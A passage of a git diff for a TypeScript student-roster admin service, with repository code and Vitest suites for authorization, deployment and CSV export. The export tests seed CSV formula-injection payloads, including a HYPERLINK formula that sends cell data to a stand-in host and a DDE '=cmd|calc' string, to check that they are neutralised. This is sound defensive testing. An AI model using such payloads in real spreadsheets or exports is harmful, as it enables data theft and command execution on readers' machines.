students.userId] }) + .returning({ studentId: students.studentId }); + result.created += inserted.length; + result.unchanged += part.length - inserted.length; + } + + for (const part of chunks(toUpdate, WRITE_CHUNK)) { + const values = sql.join( + part.map( + (entry) => + sql`(${entry.studentId}::uuid, ${entry.program}::varchar, ${entry.graduationYear}::int)`, + ), + sql`, `, + ); + // NULL means "not provided": COALESCE keeps the stored value. + await tx.execute(sql` + update ${students} as s + set department = coalesce(v.department, s.department), + graduation_year = coalesce(v.graduation_year, s.graduation_year) + from (values ${values}) as v(student_id, department, graduation_year) + where s.student_id = v.student_id and s.organization_id = ${organizationId}::uuid + `); + result.updated += part.length; + } + + return result; +} diff --git a/services/admin/src/repo/membership.ts b/services/admin/src/repo/membership.ts new file mode 100644 index 0000000..64a4549 --- /dev/null +++ b/services/admin/src/repo/membership.ts @@ -0,0 +1,37 @@ +import { and, eq } from 'drizzle-orm'; +import { schema, type Database } from '@atlas/db'; +import type { MemberRole, OrganizationType } from '@atlas/types'; + +export interface OrgMembership { + role: MemberRole; + organizationType: OrganizationType; +} + +/** + * The caller's membership of one specific organization, read from the + * database. Token claims are deliberately not used: the access token carries + * only the user's *oldest* membership (custom_access_token_hook in + * packages/db/supabase/auth-hooks.sql), and a revoked role must stop working + * immediately rather than at token expiry. + */ +export async function findOrgMembership( + db: Database, + organizationId: string, + userId: string, +): Promise { + const [row] = await db + .select({ role: schema.organizationMembers.role, organizationType: schema.organizations.type }) + .from(schema.organizationMembers) + .innerJoin( + schema.organizations, + eq(schema.organizations.organizationId, schema.organizationMembers.organizationId), + ) + .where( + and( + eq(schema.organizationMembers.organizationId, organizationId), + eq(schema.organizationMembers.userId, userId), + ), + ) + .limit(1); + return row ?? null; +} diff --git a/services/admin/src/repo/roster.ts b/services/admin/src/repo/roster.ts new file mode 100644 index 0000000..96869c3 --- /dev/null +++ b/services/admin/src/repo/roster.ts @@ -0,0 +1,286 @@ +import { + and, + desc, + eq, + exists, + ilike, + inArray, + isNotNull, + isNull, + lt, + notExists, + or, + sql, + type SQL, +} from 'drizzle-orm'; +import { schema, type Database } from '@atlas/db'; +import { + emptyApplicationStatusCounts, + uuidSchema, + type ApplicationStatus, + type RosterFilter, + type RosterStudent, + type StudentInsights, +} from '@atlas/types'; +import { AppError, decodeCursor, encodeCursor } from '@atlas/utils'; +import { z } from 'zod'; +import { toIsoTimestamp } from '../lib/timestamps.js'; + +const { students, users, organizationMembers, resumes, applications } = schema; + +/** `%`, `_` and `\` are LIKE metacharacters; a search term is always a literal. */ +export function escapeLike(term: string): string { + return term.replace(/[\\%_]/g, (char) => `\\${char}`); +} + +// What Postgres emits for timestamptz in drizzle's string mode, e.g. 2026-10-27 12:34:56.123456+00. +const PG_TIMESTAMP = /^\d{4}-\d{2}-\d{2}[ T]\d{2}:\d{2}:\d{2}(\.\d{1,6})?(Z|[+-]\d{2}(:?\d{2})?)$/; +const cursorSchema = z.object({ createdAt: z.string().regex(PG_TIMESTAMP), id: uuidSchema }); + +export function decodeRosterCursor(cursor: string): { createdAt: string; id: string } { + const parsed = cursorSchema.safeParse(decodeCursor(cursor)); + if (!parsed.success) throw new AppError('VALIDATION_ERROR', 'Invalid cursor'); + return parsed.data; +} + +interface RosterRow { + studentId: string; + userId: string; + email: string; + fullName: string; + program: string | null; + graduationYear: number | null; + status: string; + createdAt: string; + /** Non-null when the student is also a member of the organization. */ + memberUserId: string | null; +} + +function rosterSelect(db: Database) { + return ( + db + .select({ + studentId: students.studentId, + userId: students.userId, + email: users.email, + fullName: users.fullName, + program: students.department, + graduationYear: students.graduationYear, + status: students.currentStatus, + createdAt: students.createdAt, + memberUserId: organizationMembers.userId, + }) + .from(students) + // Soft-deleted accounts disappear from the roster entirely. + .innerJoin(users, and(eq(users.userId, students.userId), isNull(users.deletedAt))) + .leftJoin( + organizationMembers, + and( + eq(organizationMembers.organizationId, students.organizationId), + eq(organizationMembers.userId, students.userId), + ), + ) + ); +} + +function filterConditions(db: Database, filter: RosterFilter): SQL[] { + const conditions: SQL[] = []; + const sharing = isNotNull(organizationMembers.userId); + + if (filter.search) { + const pattern = `%${escapeLike(filter.search)}%`; + // A name is only searchable where it is also visible. + const match = or(ilike(users.email, pattern), and(sharing, ilike(users.fullName, pattern))); + if (match) conditions.push(match); + } + + if (filter.has_resume !== undefined) { + const anyResume = db + .select({ one: sql`1` }) + .from(resumes) + .where(eq(resumes.userId, students.userId)); + const match = and(sharing, filter.has_resume ? exists(anyResume) : notExists(anyResume)); + if (match) conditions.push(match); + } + + if (filter.application_status !== undefined) { + const withStatus = db + .select({ one: sql`1` }) + .from(applications) + .where( + and( + eq(applications.userId, students.userId), + eq(applications.organizationId, students.organizationId), + eq(applications.status, filter.application_status), + ), + ); + const match = and(sharing, exists(withStatus)); + if (match) conditions.push(match); + } + + return conditions; +} + +function emptyInsights(): StudentInsights { + return { + has_resume: false, + latest_ats_score: null, + applications_total: 0, + applications_by_status: emptyApplicationStatusCounts(), + last_application_activity_at: null, + }; +} + +/** + * Resume and application summaries for a page of students: two grouped + * queries regardless of page size. `userIds` must already be restricted to + * students with sharing enabled — this function does not check consent. + * + * Only applications made in this organization's context are counted + * (`applications.organization_id`), the same attribution the applications + * service uses for its org-scoped view. + */ +async function loadInsights( + db: Database, + organizationId: string, + userIds: string[], +): Promise> { + const insights = new Map(); + if (userIds.length === 0) return insights; + + const [resumeRows, applicationRows] = await Promise.all([ + db + .select({ + userId: resumes.userId, + resumeCount: sql`count(*)::int`, + latestAtsScore: sql< + number | null + >`(array_agg(${resumes.atsScore} order by ${resumes.createdAt} desc, ${resumes.resumeId} desc) filter (where ${resumes.status} = 'parsed' and ${resumes.atsScore} is not null))[1]`, + }) + .from(resumes) + .where(inArray(resumes.userId, userIds)) + .groupBy(resumes.userId), + db + .select({ + userId: applications.userId, + status: applications.status, + count: sql`count(*)::int`, + lastActivityAt: sql`max(${applications.lastEventAt})`, + }) + .from(applications) + .where( + and(inArray(applications.userId, userIds), eq(applications.organizationId, organizationId)), + ) + .groupBy(applications.userId, applications.status), + ]); + + for (const userId of userIds) insights.set(userId, emptyInsights()); + + for (const row of resumeRows) { + const entry = insights.get(row.userId); + if (!entry) continue; + entry.has_resume = row.resumeCount > 0; + entry.latest_ats_score = + row.latestAtsScore === null ? null : Math.round(row.latestAtsScore * 10) / 10; + } + + for (const row of applicationRows) { + const entry = insights.get(row.userId); + if (!entry) continue; + entry.applications_by_status[row.status as ApplicationStatus] = row.count; + entry.applications_total += row.count; + const activity = row.lastActivityAt === null ? null : toIsoTimestamp(row.lastActivityAt); + if ( + activity !== null && + (entry.last_application_activity_at === null || activity > entry.last_application_activity_at) + ) { + entry.last_application_activity_at = activity; + } + } + + return insights; +} + +async function toRosterStudents( + db: Database, + organizationId: string, + rows: RosterRow[], +): Promise { + const sharingUserIds = rows.filter((row) => row.memberUserId !== null).map((row) => row.userId); + const insights = await loadInsights(db, organizationId, sharingUserIds); + + return rows.map((row): RosterStudent => { + const sharingEnabled = row.memberUserId !== null; + return { + student_id: row.studentId, + email: row.email, + full_name: sharingEnabled ? row.fullName : null, + program: row.program, + graduation_year: row.graduationYear, + status: row.status, + created_at: toIsoTimestamp(row.createdAt), + sharing_enabled: sharingEnabled, + insights: sharingEnabled ? (insights.get(row.userId) ?? emptyInsights()) : null, + }; + }); +} + +export interface RosterPage { + items: RosterStudent[]; + nextCursor: string | null; +} + +/** + * Newest roster entries first, keyset-paginated on (created_at, student_id). + * `created_at` alone is not unique — one import stamps every row with the same + * transaction timestamp — so the id breaks ties at the page boundary. + */ +export async function listRoster( + db: Database, + organizationId: string, + filter: RosterFilter, + page: { limit: number; cursor?: string | undefined }, +): Promise { + const conditions: SQL[] = [ + eq(students.organizationId, organizationId), + ...filterConditions(db, filter), + ]; + + if (page.cursor) { + const after = decodeRosterCursor(page.cursor); + const beforeCursor = or( + lt(students.createdAt, after.createdAt), + and(eq(students.createdAt, after.createdAt), lt(students.studentId, after.id)), + ); + if (beforeCursor) conditions.push(beforeCursor); + } + + const rows = await rosterSelect(db) + .where(and(...conditions)) + .orderBy(desc(students.createdAt), desc(students.studentId)) + .limit(page.limit + 1); + + const hasMore = rows.length > page.limit; + const pageRows = hasMore ? rows.slice(0, page.limit) : rows; + const last = pageRows[pageRows.length - 1]; + + return { + items: await toRosterStudents(db, organizationId, pageRows), + nextCursor: + hasMore && last ? encodeCursor({ createdAt: last.createdAt, id: last.studentId }) : null, + }; +} + +/** One roster entry, or null when it is not on *this* organization's roster. */ +export async function findRosterStudent( + db: Database, + organizationId: string, + studentId: string, +): Promise { + const [row] = await rosterSelect(db) + .where(and(eq(students.organizationId, organizationId), eq(students.studentId, studentId))) + .limit(1); + if (!row) return null; + const [student] = await toRosterStudents(db, organizationId, [row]); + return student ?? null; +} diff --git a/services/admin/test/authz.test.ts b/services/admin/test/authz.test.ts new file mode 100644 index 0000000..8a8ab5f --- /dev/null +++ b/services/admin/test/authz.test.ts @@ -0,0 +1,241 @@ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { MEMBER_ROLES, type MemberRole } from '@atlas/types'; +import { ADMIN_BASE, createHarness, testDatabaseUrl, type Harness } from './support.js'; + +// Authorization matrix for every admin endpoint. Each route is exercised through +// the real guard against real organization_members rows. +describe.skipIf(!testDatabaseUrl)('admin-service authorization', () => { + let h: Harness; + let orgId: string; + let otherOrgId: string; + let studentId: string; + let otherOrgStudentId: string; + const people: Partial> = {}; + let outsiderId: string; // owner of a different university: must be a stranger here + let nonMemberId: string; // belongs to no organization at all + + beforeAll(async () => { + h = await createHarness(); + orgId = await h.seedOrganization('university'); + otherOrgId = await h.seedOrganization('university'); + + for (const role of MEMBER_ROLES) { + const user = await h.seedUser(); + await h.addMember(orgId, user.userId, role); + people[role] = user.userId; + } + const outsider = await h.seedUser(); + await h.addMember(otherOrgId, outsider.userId, 'owner'); + outsiderId = outsider.userId; + nonMemberId = (await h.seedUser()).userId; + + const student = await h.seedUser(); + studentId = await h.addStudent(orgId, student.userId); + const otherStudent = await h.seedUser(); + otherOrgStudentId = await h.addStudent(otherOrgId, otherStudent.userId); + }); + + afterAll(async () => { + await h.close(); + }); + + const endpoints = (org: string, student: string) => [ + { name: 'list', method: 'GET' as const, url: `${ADMIN_BASE}/${org}/students` }, + { name: 'detail', method: 'GET' as const, url: `${ADMIN_BASE}/${org}/students/${student}` }, + { name: 'funnel', method: 'GET' as const, url: `${ADMIN_BASE}/${org}/funnel` }, + { name: 'export', method: 'GET' as const, url: `${ADMIN_BASE}/${org}/export.csv` }, + { name: 'import', method: 'POST' as const, url: `${ADMIN_BASE}/${org}/students/import` }, + ]; + + async function call(endpoint: { method: 'GET' | 'POST'; url: string }, userId: string | null) { + const headers: Record = userId ? await h.authHeaders(userId) : {}; + if (endpoint.method === 'POST') { + return h.app.inject({ + method: 'POST', + url: endpoint.url, + headers: { + ...headers, + 'content-type': 'application/json', + 'idempotency-key': randomUUID(), + }, + payload: JSON.stringify({ rows: [{ email: 'nobody@example.test', full_name: 'No Body' }] }), + }); + } + return h.app.inject({ method: 'GET', url: endpoint.url, headers }); + } + + it('rejects unauthenticated requests with 401 on every endpoint', async () => { + for (const endpoint of endpoints(orgId, studentId)) { + const res = await call(endpoint, null); + expect(res.statusCode, endpoint.name).toBe(401); + expect(res.json().error.code).toBe('UNAUTHENTICATED'); + } + }); + + it('rejects a malformed or foreign-signed token with 401', async () => { + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/students`, + headers: { authorization: 'Bearer not-a-jwt' }, + }); + expect(res.statusCode).toBe(401); + }); + + it('answers 401 before it looks at the idempotency key', async () => { + const res = await h.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${orgId}/students/import`, + headers: { 'content-type': 'application/json' }, + payload: '{"rows":[]}', + }); + expect(res.statusCode).toBe(401); + }); + + it.each(['owner', 'admin'] as const)('allows an org %s on every endpoint', async (role) => { + for (const endpoint of endpoints(orgId, studentId)) { + const res = await call(endpoint, people[role]!); + expect(res.statusCode, `${role} ${endpoint.name}`).toBe(200); + } + }); + + it.each(['member', 'student', 'recruiter'] as const)( + 'forbids an org %s with 403 on every endpoint', + async (role) => { + for (const endpoint of endpoints(orgId, studentId)) { + const res = await call(endpoint, people[role]!); + expect(res.statusCode, `${role} ${endpoint.name}`).toBe(403); + expect(res.json().error.code).toBe('FORBIDDEN'); + } + }, + ); + + it('forbids a privileged member before the idempotency key is considered', async () => { + const res = await h.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${orgId}/students/import`, + headers: { ...(await h.authHeaders(people.member!)), 'content-type': 'application/json' }, + payload: '{"rows":[]}', + }); + expect(res.statusCode).toBe(403); + }); + + it('answers 404 to a stranger, identically for an organization that exists and one that does not', async () => { + const unknownOrg = randomUUID(); + for (const userId of [outsiderId, nonMemberId]) { + for (const endpoint of endpoints(orgId, studentId)) { + const existing = await call(endpoint, userId); + expect(existing.statusCode, endpoint.name).toBe(404); + + const missing = await call( + endpoints(unknownOrg, studentId).find((candidate) => candidate.name === endpoint.name)!, + userId, + ); + expect(missing.statusCode).toBe(404); + expect(existing.json().error.code).toBe(missing.json().error.code); + expect(existing.json().error.message).toBe(missing.json().error.message); + } + } + }); + + it("does not let another organization's owner reach this organization's students by id", async () => { + // Owner of otherOrg, using their own org in the URL, asks for a student of orgId. + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${otherOrgId}/students/${studentId}`, + headers: await h.authHeaders(outsiderId), + }); + expect(res.statusCode).toBe(404); + // …and the reverse: a student of the other org through this org's URL. + const reverse = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/students/${otherOrgStudentId}`, + headers: await h.authHeaders(people.owner!), + }); + expect(reverse.statusCode).toBe(404); + expect(reverse.json().error.code).toBe('NOT_FOUND'); + }); + + it('trusts organization_members, not the token claims', async () => { + // A plain member whose token claims "owner of orgId" is still a member in the database. + const forged = await h.token(people.member!, { org: orgId, role: 'owner' }); + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/students`, + headers: { authorization: `Bearer ${forged}` }, + }); + expect(res.statusCode).toBe(403); + + // A stranger claiming membership gets 404, not access. + const claimed = await h.token(nonMemberId, { org: orgId, role: 'admin' }); + const stranger = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/students`, + headers: { authorization: `Bearer ${claimed}` }, + }); + expect(stranger.statusCode).toBe(404); + }); + + it('honors a membership change immediately, without waiting for the token to expire', async () => { + const user = await h.seedUser(); + await h.addMember(orgId, user.userId, 'admin'); + const headers = await h.authHeaders(user.userId); + const url = `${ADMIN_BASE}/${orgId}/students`; + + expect((await h.app.inject({ method: 'GET', url, headers })).statusCode).toBe(200); + await h.handle + .sql`delete from organization_members where organization_id = ${orgId} and user_id = ${user.userId}`; + expect((await h.app.inject({ method: 'GET', url, headers })).statusCode).toBe(404); + }); + + it('applies to university organizations only', async () => { + for (const type of ['enterprise', 'individual'] as const) { + const org = await h.seedOrganization(type); + const owner = await h.seedUser(); + await h.addMember(org, owner.userId, 'owner'); + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${org}/students`, + headers: await h.authHeaders(owner.userId), + }); + expect(res.statusCode, type).toBe(403); + expect(res.json().error.code).toBe('FORBIDDEN'); + } + }); + + it('validates :orgId and :studentId as UUIDs (400)', async () => { + const headers = await h.authHeaders(people.owner!); + const badOrg = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/not-a-uuid/students`, + headers, + }); + expect(badOrg.statusCode).toBe(400); + expect(badOrg.json().error.code).toBe('VALIDATION_ERROR'); + + const badStudent = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/students/not-a-uuid`, + headers, + }); + expect(badStudent.statusCode).toBe(400); + expect(badStudent.json().error.code).toBe('VALIDATION_ERROR'); + }); + + it('keeps /health public and everything else off the cache', async () => { + const health = await h.app.inject({ method: 'GET', url: '/health' }); + expect(health.statusCode).toBe(200); + expect(health.json()).toMatchObject({ + status: 'ok', + service: 'admin-service', + checks: { database: 'ok' }, + }); + + const res = await h.app.inject({ + method: 'GET', + url: `${ADMIN_BASE}/${orgId}/students`, + headers: await h.authHeaders(people.owner!), + }); + expect(res.headers['cache-control']).toBe('no-store'); + }); +}); diff --git a/services/admin/test/entrypoint.test.ts b/services/admin/test/entrypoint.test.ts new file mode 100644 index 0000000..ff2766e --- /dev/null +++ b/services/admin/test/entrypoint.test.ts @@ -0,0 +1,172 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + ADMIN_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: Record }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('admin-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'admin-service', + checks: { database: 'fail' }, + }); + }); + + it('routes /v1/admin requests through the default handler and refuses them without a token', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough( + handler, + `/v1/admin/organizations/${'0'.repeat(8)}-0000-4000-8000-${'0'.repeat(12)}/students`, + ); + + expect(status).toBe(401); + expect(body).toMatchObject({ error: { code: 'UNAUTHENTICATED' } }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'admin-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'admin-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); diff --git a/services/admin/test/export.test.ts b/services/admin/test/export.test.ts new file mode 100644 index 0000000..e315d9b --- /dev/null +++ b/services/admin/test/export.test.ts @@ -0,0 +1,357 @@ +import { randomUUID } from 'node:crypto'; +import { and, eq } from 'drizzle-orm'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { schema } from '@atlas/db'; +import { APPLICATION_STATUSES } from '@atlas/types'; +import { parseCsv } from '../src/lib/csv-parse.js'; +import { EXPORT_COLUMNS } from '../src/lib/export-csv.js'; +import { ADMIN_BASE, createHarness, testDatabaseUrl, type Harness } from './support.js'; + +const HOSTILE_NAMES = [ + '=HYPERLINK("http://evil.test/?q="&A1,"click")', + '+1+1', + '-2+3', + '@SUM(1+1)', + '\t=cmd|calc!A1', + '\r=cmd', + 'Doe, "Jane"\nJr', // legitimate awkward text: quotes, comma, newline + 'Zoë Ünïcode ✓', +] as const; + +describe.skipIf(!testDatabaseUrl)('admin-service CSV export', () => { + let h: Harness; + let orgId: string; + let ownerId: string; + let headers: Record; + const tag = randomUUID().slice(0, 8); + const sharingNames = new Map(); // email -> platform name + + const exportCsv = (query = '', org = orgId, hdrs = headers) => + h.app.inject({ method: 'GET', url: `${ADMIN_BASE}/${org}/export.csv${query}`, headers: hdrs }); + + const records = (body: string) => parseCsv(body, { maxRecords: 100_000 }); + const exportAudits = async (org = orgId) => + h.handle.db + .select() + .from(schema.auditLogs) + .where( + and( + eq(schema.auditLogs.organizationId, org), + eq(schema.auditLogs.action, 'admin.students.export'), + ), + ); + + beforeAll(async () => { + h = await createHarness(); + orgId = await h.seedOrganization('university'); + const owner = await h.seedUser(); + ownerId = owner.userId; + await h.addMember(orgId, ownerId, 'owner'); + headers = await h.authHeaders(ownerId); + + // Members whose platform names are attacker-chosen text. + for (const [index, fullName] of HOSTILE_NAMES.entries()) { + const user = await h.seedUser({ email: `export-${index}-${tag}@example.test`, fullName }); + await h.addMember(orgId, user.userId, 'student'); + await h.addStudent(orgId, user.userId, { + program: index === 0 ? '=2+2' : 'Plain Program', + graduationYear: 2026, + }); + sharingNames.set(user.email, fullName); + } + + // Leading characters in the *email* and *program* columns too. + for (const [prefix, program] of [ + ['+', '-1'], + ['-', '@home'], + ['=', '\tTabbed'], + ] as const) { + const user = await h.seedUser({ + email: `${prefix}lead-${tag}@example.test`, + fullName: 'Lead Char', + }); + await h.addStudent(orgId, user.userId, { program, graduationYear: 2027 }); + } + + // One with a real summary, one roster-only with private activity that must stay private. + const active = await h.seedUser({ + email: `active-${tag}@example.test`, + fullName: 'Active Student', + }); + await h.addMember(orgId, active.userId, 'student'); + await h.addStudent(orgId, active.userId, { program: 'Economics', graduationYear: 2025 }); + await h.seedResume(active.userId, { atsScore: 77.5 }); + await h.seedApplication(active.userId, { status: 'submitted', organizationId: orgId }); + await h.seedApplication(active.userId, { status: 'offer', organizationId: orgId }); + await h.seedApplication(active.userId, { status: 'offer', organizationId: orgId }); + + const hidden = await h.seedUser({ + email: `hidden-${tag}@example.test`, + fullName: 'Hidden Person', + }); + await h.addStudent(orgId, hidden.userId); + await h.seedResume(hidden.userId, { atsScore: 95 }); + await h.seedApplication(hidden.userId, { status: 'offer', organizationId: orgId }); + }); + + afterAll(async () => { + await h.close(); + }); + + it('serves a CSV attachment that is never cached or sniffed', async () => { + const res = await exportCsv(); + expect(res.statusCode).toBe(200); + expect(res.headers['content-type']).toBe('text/csv; charset=utf-8'); + expect(res.headers['content-disposition']).toMatch( + /^attachment; filename="students-\d{4}-\d{2}-\d{2}\.csv"$/, + ); + expect(res.headers['cache-control']).toBe('no-store'); + expect(res.headers['x-content-type-options']).toBe('nosniff'); + }); + + it('starts with a UTF-8 BOM by default and omits it on request', async () => { + expect((await exportCsv()).body.startsWith('email,')).toBe(true); + const plain = await exportCsv('?bom=false'); + expect(plain.body.startsWith('email,')).toBe(true); + expect(plain.body.charCodeAt(0)).not.toBe(0xfeff); + }); + + it('writes the documented columns, one row per student, CRLF-terminated', async () => { + const res = await exportCsv('?bom=false'); + expect(res.body.endsWith('\r\n')).toBe(true); + const rows = records(res.body); + expect(rows[0]).toEqual([...EXPORT_COLUMNS]); + expect(EXPORT_COLUMNS.slice(9)).toEqual( + APPLICATION_STATUSES.map((status) => `applications_${status}`), + ); + expect(rows).toHaveLength(1 + HOSTILE_NAMES.length + 3 + 2); + for (const row of rows) expect(row).toHaveLength(EXPORT_COLUMNS.length); + }); + + it('exports the application-status summary for sharing students and nothing for the others', async () => { + const rows = records((await exportCsv('?bom=false')).body); + const column = (name: (typeof EXPORT_COLUMNS)[number]) => EXPORT_COLUMNS.indexOf(name); + const byEmail = new Map(rows.slice(1).map((row) => [row[column('email')], row])); + + const active = byEmail.get(`active-${tag}@example.test`)!; + expect(active[column('full_name')]).toBe('Active Student'); + expect(active[column('program')]).toBe('Economics'); + expect(active[column('graduation_year')]).toBe('2025'); + expect(active[column('sharing_enabled')]).toBe('true'); + expect(active[column('has_resume')]).toBe('true'); + expect(active[column('latest_ats_score')]).toBe('77.5'); + expect(active[column('applications_total')]).toBe('3'); + expect(active[column('applications_submitted')]).toBe('1'); + expect(active[column('applications_offer')]).toBe('2'); + expect(active[column('applications_draft')]).toBe('0'); + + // Not sharing: identity, and a blank (unknown) summary rather than 0 / false. + const hidden = byEmail.get(`hidden-${tag}@example.test`)!; + expect(hidden[column('full_name')]).toBe(''); + expect(hidden[column('sharing_enabled')]).toBe('false'); + for (const name of EXPORT_COLUMNS.slice(6)) expect(hidden[column(name)], name).toBe(''); + }); + + describe('formula injection', () => { + it('prefixes every cell that starts with = + - @ TAB or CR with a single quote', async () => { + const res = await exportCsv('?bom=false'); + const rows = records(res.body); + const dangerous = /^[=+\-@\t\r]/; + + for (const row of rows) { + for (const cell of row) { + expect(dangerous.test(cell), JSON.stringify(cell)).toBe(false); + } + } + + const fullNames = rows.slice(1).map((row) => row[EXPORT_COLUMNS.indexOf('full_name')]); + expect(fullNames).toContain(`'=HYPERLINK("http://evil.test/?q="&A1,"click")`); + expect(fullNames).toContain("'+1+1"); + expect(fullNames).toContain("'-2+3"); + expect(fullNames).toContain("'@SUM(1+1)"); + expect(fullNames).toContain("'\t=cmd|calc!A1"); + expect(fullNames).toContain("'\r=cmd"); + }); + + it('neutralizes the email and program columns as well', async () => { + const rows = records((await exportCsv('?bom=false')).body).slice(1); + const emails = rows.map((row) => row[EXPORT_COLUMNS.indexOf('email')]); + for (const prefix of ['+', '-', '=']) { + expect(emails).toContain(`'${prefix}lead-${tag}@example.test`); + } + const programs = rows.map((row) => row[EXPORT_COLUMNS.indexOf('program')]); + expect(programs).toEqual(expect.arrayContaining(["'=2+2", "'-1", "'@home", "'\tTabbed"])); + }); + + it('leaves the raw bytes quoted and escaped so the neutralized cell is a single, inert field', async () => { + const { body } = await exportCsv('?bom=false'); + // quote → doubled, field wrapped in quotes, neutralizing apostrophe first. + expect(body).toContain(`"'=HYPERLINK(""http://evil.test/?q=""&A1,""click"")"`); + // No line begins with a raw formula trigger either. + for (const line of body.split('\r\n')) expect(/^[=+\-@]/.test(line), line).toBe(false); + }); + + it('still escapes legitimate commas, quotes, newlines and non-ASCII text exactly', async () => { + const rows = records((await exportCsv('?bom=false')).body).slice(1); + const fullNames = rows.map((row) => row[EXPORT_COLUMNS.indexOf('full_name')]); + expect(fullNames).toContain('Doe, "Jane"\nJr'); + expect(fullNames).toContain('Zoë Ünïcode ✓'); + }); + + it('changes only the export: stored data is untouched', async () => { + const stored = await h.handle.db + .select({ program: schema.students.department }) + .from(schema.students) + .where(eq(schema.students.organizationId, orgId)); + expect(stored.map((row) => row.program)).toContain('=2+2'); + }); + }); + + it('does not leak private content', async () => { + const res = await exportCsv(); + for (const secret of ['CONFIDENTIAL', 'parsed', 'cover_letter', 'Hidden Person', 'user_id']) { + expect(res.body, 